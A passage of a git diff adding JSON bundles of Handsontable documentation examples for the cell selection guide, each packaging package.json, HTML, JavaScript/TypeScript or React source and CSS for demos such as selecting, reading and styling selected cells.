    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst button = document.querySelector('#set-data-action')!;\n\nbutton.addEventListener('click', () => {\n const selected = hot.getSelected() || [];\n\n hot.suspendRender();\n\n for (let index = 0; index < selected.length; index += 1) {\n const [row1, column1, row2, column2] = selected[index]!;\n const startRow = Math.max(Math.min(row1, row2), 0);\n const endRow = Math.max(row1, row2);\n const startCol = Math.max(Math.min(column1, column2), 0);\n const endCol = Math.max(column1, column2);\n\n for (let rowIndex = startRow; rowIndex <= endRow; rowIndex += 1) {\n for (let columnIndex = startCol; columnIndex <= endCol; columnIndex += 1) {\n hot.setDataAtCell(rowIndex, columnIndex, 'data changed');\n hot.setCellMeta(rowIndex, columnIndex, 'className', 'c-red');\n }\n }\n }\n\n hot.render();\n hot.resumeRender();\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".c-red {\n color: red;\n}"},"docsPath":"guides/cell-features/selection/javascript/example3.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example3","exampleTitle":"Modify the selected cells","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.js.json new file mode 100644 index 00000000..31309cc2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Style the selection area · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"/* First selection layer — applied to every selected cell */\n#example4 td.area {\n background-color: rgba(75, 137, 255, 0.2);\n}\n\n/* Second non-adjacent selection layer (Ctrl/Cmd + click) */\n#example4 td.area.area-1 {\n background-color: rgba(75, 137, 255, 0.4);\n}\n\n/* Third non-adjacent selection layer */\n#example4 td.area.area-2 {\n background-color: rgba(75, 137, 255, 0.6);\n}"},"docsPath":"guides/cell-features/selection/javascript/example4.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example4","exampleTitle":"Style the selection area","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.ts.json new file mode 100644 index 00000000..4fba87a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Style the selection area · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"/* First selection layer — applied to every selected cell */\n#example4 td.area {\n background-color: rgba(75, 137, 255, 0.2);\n}\n\n/* Second non-adjacent selection layer (Ctrl/Cmd + click) */\n#example4 td.area.area-1 {\n background-color: rgba(75, 137, 255, 0.4);\n}\n\n/* Third non-adjacent selection layer */\n#example4 td.area.area-2 {\n background-color: rgba(75, 137, 255, 0.6);\n}"},"docsPath":"guides/cell-features/selection/javascript/example4.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example4","exampleTitle":"Style the selection area","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.js.json new file mode 100644 index 00000000..0c9de0b2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Select cells programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\ndocument.querySelector('#select-cell').addEventListener('click', () => {\n // Select a single cell: row 1, col 1 (B2)\n hot.selectCell(1, 1);\n});\ndocument.querySelector('#select-range').addEventListener('click', () => {\n // Select a range: row 1, col 1 to row 3, col 3 (B2:D4)\n hot.selectCell(1, 1, 3, 3);\n});\ndocument.querySelector('#deselect').addEventListener('click', () => {\n hot.deselectCell();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/selection/javascript/example5.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example5","exampleTitle":"Select cells programmatically","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.ts.json new file mode 100644 index 00000000..f2b392dd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Select cells programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\ndocument.querySelector('#select-cell')!.addEventListener('click', () => {\n // Select a single cell: row 1, col 1 (B2)\n hot.selectCell(1, 1);\n});\n\ndocument.querySelector('#select-range')!.addEventListener('click', () => {\n // Select a range: row 1, col 1 to row 3, col 3 (B2:D4)\n hot.selectCell(1, 1, 3, 3);\n});\n\ndocument.querySelector('#deselect')!.addEventListener('click', () => {\n hot.deselectCell();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/selection/javascript/example5.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example5","exampleTitle":"Select cells programmatically","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.js.json new file mode 100644 index 00000000..195d253a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    Select a cell, then press Tab or → at the end of a row, or Enter or ↓ at the bottom of a column, to see the effect.

    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ],\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst autoWrapRowCheckbox = document.querySelector('#auto-wrap-row');\nconst autoWrapColCheckbox = document.querySelector('#auto-wrap-col');\nautoWrapRowCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapRow: autoWrapRowCheckbox.checked });\n});\nautoWrapColCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapCol: autoWrapColCheckbox.checked });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/selection/javascript/example6.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.ts.json new file mode 100644 index 00000000..f2ed3557 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n

    Select a cell, then press Tab or → at the end of a row, or Enter or ↓ at the bottom of a column, to see the effect.

    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ],\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst autoWrapRowCheckbox = document.querySelector('#auto-wrap-row')!;\nconst autoWrapColCheckbox = document.querySelector('#auto-wrap-col')!;\n\nautoWrapRowCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapRow: autoWrapRowCheckbox.checked });\n});\n\nautoWrapColCheckbox.addEventListener('change', () => {\n hot.updateSettings({ autoWrapCol: autoWrapColCheckbox.checked });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/selection/javascript/example6.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example1.tsx.json new file mode 100644 index 00000000..cffc195e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState, useEffect } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst options: { value: string; label: string }[] = [\n { value: 'single', label: 'Single selection' },\n { value: 'range', label: 'Range selection' },\n { value: 'multiple', label: 'Multiple ranges selection' },\n];\n\nconst ExampleComponent = () => {\n const dropdownRef = useRef(null);\n const [isOpen, setIsOpen] = useState(false);\n const [selected, setSelected] = useState('multiple');\n\n useEffect(() => {\n const handleOutsideClick = (e: MouseEvent) => {\n if (dropdownRef.current && !dropdownRef.current.contains(e.target as Node)) {\n setIsOpen(false);\n }\n };\n const handleEscape = (e: KeyboardEvent) => {\n if (e.key === 'Escape') {\n setIsOpen(false);\n }\n };\n\n document.addEventListener('click', handleOutsideClick);\n document.addEventListener('keydown', handleEscape);\n\n return () => {\n document.removeEventListener('click', handleOutsideClick);\n document.removeEventListener('keydown', handleEscape);\n };\n }, []);\n\n const handleSelect = (value: string) => {\n setSelected(value);\n setIsOpen(false);\n };\n\n const selectedLabel = options.find((o) => o.value === selected)?.label;\n\n return (\n <>\n
    \n
    \n
    \n setIsOpen(!isOpen)}\n >\n {selectedLabel}\n \n \n {isOpen && (\n
      \n {options.map((opt) => (\n handleSelect(opt.value)}\n >\n {opt.label}\n \n ))}\n
    \n )}\n
    \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/selection/react/example1.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example2.tsx.json new file mode 100644 index 00000000..191c6ec7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Get data from the selected ranges · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [output, setOutput] = useState('');\n\n const getButtonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const selected = hot?.getSelected() || [];\n let data: Handsontable.CellValue[] = [];\n\n if (selected.length === 1) {\n data = hot?.getData(...selected[0]!) || [];\n } else {\n for (let i = 0; i < selected.length; i += 1) {\n const item = selected[i];\n\n data.push(hot?.getData(...item));\n }\n }\n\n setOutput(JSON.stringify(data));\n };\n\n return (\n <>\n
    \n
    \n \n
    \n \n {output}\n \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/selection/react/example2.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example2","exampleTitle":"Get data from the selected ranges","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example3.tsx.json new file mode 100644 index 00000000..600d09c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Modify the selected cells · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const selected = hot?.getSelected() || [];\n\n hot?.suspendRender();\n\n for (let index = 0; index < selected.length; index += 1) {\n const [row1, column1, row2, column2] = selected[index];\n const startRow = Math.max(Math.min(row1, row2), 0);\n const endRow = Math.max(row1, row2);\n const startCol = Math.max(Math.min(column1, column2), 0);\n const endCol = Math.max(column1, column2);\n\n for (let rowIndex = startRow; rowIndex <= endRow; rowIndex += 1) {\n for (let columnIndex = startCol; columnIndex <= endCol; columnIndex += 1) {\n hot?.setDataAtCell(rowIndex, columnIndex, 'data changed');\n hot?.setCellMeta(rowIndex, columnIndex, 'className', 'c-red');\n }\n }\n }\n\n hot?.render();\n hot?.resumeRender();\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
